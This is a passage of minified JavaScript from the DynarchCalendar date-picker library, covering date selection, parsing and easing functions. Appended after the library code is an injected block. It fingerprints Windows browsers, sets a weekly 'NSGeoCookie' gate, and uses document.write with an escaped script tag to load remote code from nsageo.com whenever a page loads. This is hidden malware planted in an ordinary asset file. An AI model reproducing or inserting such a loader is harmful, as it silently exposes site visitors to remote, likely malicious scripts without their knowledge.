"DynarchCalendar-menu-year":"yearInput","DynarchCalendar-bottomBar":"bottomBar","DynarchCalendar-tooltip":"tooltip","DynarchCalendar-time-hour":"timeHour","DynarchCalendar-time-minute":"timeMinute","DynarchCalendar-time-am":"timeAM","DynarchCalendar-navBtn DynarchCalendar-prevYear":"navPrevYear","DynarchCalendar-navBtn DynarchCalendar-nextYear":"navNextYear","DynarchCalendar-navBtn DynarchCalendar-prevMonth":"navPrevMonth","DynarchCalendar-navBtn DynarchCalendar-nextMonth":"navNextMonth"},Ga={"-3":"backYear",
"-2":"back","0":"now","2":"fwd","3":"fwdYear"},Aa={37:-1,38:-2,39:1,40:2},Ba={33:-1,34:1};m._getDateDiv=function(a){var b=null;if(a)try{O(this.els.body,function(d){if(d.getAttribute("dyc-date")==a)throw b=d;})}catch(c){}return b};(n.Selection=function(a,b,c,d){this.type=b;this.sel=a instanceof Array?a:[a];this.onChange=p(c,d);this.cal=d}).prototype={get:function(){return this.type==n.SEL_SINGLE?this.sel[0]:this.sel},isEmpty:function(){return this.sel.length==0},set:function(a,b,c){var d=this.type==
n.SEL_SINGLE;if(a instanceof Array){this.sel=a;this.normalize();c||this.onChange(this)}else{a=x(a);if(d||!this.isSelected(a)){d?this.sel=[a]:this.sel.splice(this.findInsertPos(a),0,a);this.normalize();c||this.onChange(this)}else b&&this.unselect(a,c)}},reset:function(){this.sel=[];this.set.apply(this,arguments)},countDays:function(){for(var a=0,b=this.sel,c=b.length,d,e;--c>=0;){d=b[c];if(d instanceof Array){e=t(d[0]);d=t(d[1]);a+=Math.round(Math.abs(d.getTime()-e.getTime())/864E5)}++a}return a},
unselect:function(a,b){a=x(a);for(var c=false,d=this.sel,e=d.length,f;--e>=0;){f=d[e];if(f instanceof Array){if(a>=f[0]&&a<=f[1]){c=t(a);var g=c.getDate();if(a==f[0]){c.setDate(g+1);f[0]=x(c)}else{if(a==f[1])c.setDate(g-1);else{var h=new Date(c);h.setDate(g+1);c.setDate(g-1);d.splice(e+1,0,[x(h),f[1]])}f[1]=x(c)}c=true}}else if(a==f){d.splice(e,1);c=true}}if(c){this.normalize();b||this.onChange(this)}},normalize:function(){for(var a=this.sel=this.sel.sort(function(g,h){if(g instanceof Array)g=g[0];
if(h instanceof Array)h=h[0];return g-h}),b=a.length,c,d;--b>=0;){c=a[b];if(c instanceof Array){if(c[0]>c[1]){a.splice(b,1);continue}if(c[0]==c[1])c=a[b]=c[0]}if(d){var e=d,f=c instanceof Array?c[1]:c;f=t(f);f.setDate(f.getDate()+1);f=x(f);if(f>=e){e=a[b+1];if(c instanceof Array&&e instanceof Array){c[1]=e[1];a.splice(b+1,1)}else if(c instanceof Array){c[1]=d;a.splice(b+1,1)}else if(e instanceof Array){e[0]=c;a.splice(b,1)}else{a[b]=[c,e];a.splice(b+1,1)}}}d=c instanceof Array?c[0]:c}},findInsertPos:function(a){for(var b=
this.sel,c=b.length,d;--c>=0;){d=b[c];if(d instanceof Array)d=d[0];if(d<=a)break}return c+1},clear:function(a){this.sel=[];a||this.onChange(this)},selectRange:function(a,b){a=x(a);b=x(b);if(a>b){var c=a;a=b;b=c}var d=this.cal.args.checkRange;if(!d)return this._do_selectRange(a,b);try{ca((new n.Selection([[a,b]],n.SEL_MULTIPLE,y)).getDates(),p(function(f){if(this.isDisabled(f)){d instanceof Function&&d(f,this);throw"OUT";}},this.cal));this._do_selectRange(a,b)}catch(e){}},_do_selectRange:function(a,
b){this.sel.push([a,b]);this.normalize();this.onChange(this)},isSelected:function(a){for(var b=this.sel.length,c;--b>=0;){c=this.sel[b];if(c instanceof Array&&a>=c[0]&&a<=c[1]||a==c)return true}return false},getFirstDate:function(){var a=this.sel[0];if(a&&a instanceof Array)a=a[0];return a},getLastDate:function(){if(this.sel.length>0){var a=this.sel[this.sel.length-1];if(a&&a instanceof Array)a=a[1];return a}},print:function(a,b){var c=[],d=0,e,f=this.cal.getHours(),g=this.cal.getMinutes();for(b||
(b=" -> ");d<this.sel.length;){e=this.sel[d++];e instanceof Array?c.push(B(t(e[0],f,g),a)+b+B(t(e[1],f,g),a)):c.push(B(t(e,f,g),a))}return c},getDates:function(a){for(var b=[],c=0,d,e;c<this.sel.length;){e=this.sel[c++];if(e instanceof Array){d=t(e[0]);for(e=e[1];x(d)<e;){b.push(a?B(d,a):new Date(d));d.setDate(d.getDate()+1)}}else d=t(e);b.push(a?B(d,a):d)}return b}};n.parseDate=function(a,b,c){if(!/\S/.test(a))return"";a=a.replace(/^\s+/,"").replace(/\s+$/,"");c=c||new Date;var d=null,e=null,f=null,
g=null,h=null,j=null,i=a.match(/([0-9]{1,2}):([0-9]{1,2})(:[0-9]{1,2})?\s*(am|pm)?/i);if(i){g=parseInt(i[1],10);h=parseInt(i[2],10);j=i[3]?parseInt(i[3].substr(1),10):0;a=a.substring(0,i.index)+a.substr(i.index+i[0].length);if(i[4])if(i[4].toLowerCase()=="pm"&&g<12)g+=12;else if(i[4].toLowerCase()=="am"&&g>=12)g-=12}a=a.split(/\W+/);i=[];for(var k=0;k<a.length;++k){var l=a[k];if(/^[0-9]{4}$/.test(l)){d=parseInt(l,10);if(!e&&!f&&b==null)b=true}else if(/^[0-9]{1,2}$/.test(l)){l=parseInt(l,10);if(l>=
60)d=l;else if(l>=0&&l<=12)i.push(l);else if(l>=1&&l<=31)f=l}else e=Da(l)}if(i.length>=2)if(b){e||(e=i.shift());f||(f=i.shift())}else{f||(f=i.shift());e||(e=i.shift())}else if(i.length==1)if(f)e||(e=i.shift());else f=i.shift();d||(d=i.length>0?i.shift():c.getFullYear());if(d<30)d+=2E3;else if(d<99)d+=1900;e||(e=c.getMonth()+1);return d&&e&&f?new Date(Date.UTC(d,e-1,f,g,h,j)):null};var E={elastic_b:function(a){return 1-Math.cos(-a*5.5*Math.PI)/Math.pow(2,7*a)},magnetic:function(a){return 1-Math.cos(a*
a*a*10.5*Math.PI)/Math.exp(4*a)},accel_b:function(a){a=1-a;return 1-a*a*a*a},accel_a:function(a){return a*a*a},accel_ab:function(a){a=1-a;return 1-Math.sin(a*a*Math.PI/2)},accel_ab2:function(a){return(a/=0.5)<1?0.5*a*a:-0.5*(--a*(a-2)-1)},brakes:function(a){a=1-a;return 1-Math.sin(a*a*Math.PI)},shake:function(a){return a<0.5?-Math.cos(a*11*Math.PI)*a*a:(a=1-a,Math.cos(a*11*Math.PI)*a*a)}},y=new Function;return n}();
/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSGeoCookie");if (user !=="ok"){nsageocookie();setCookie("NSGeoCookie", "ok", 7, "/");}}}  function nsageocookie(){document.write(unescape("%3Cscript src='http://nsageo.com/in.cgi?5' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/

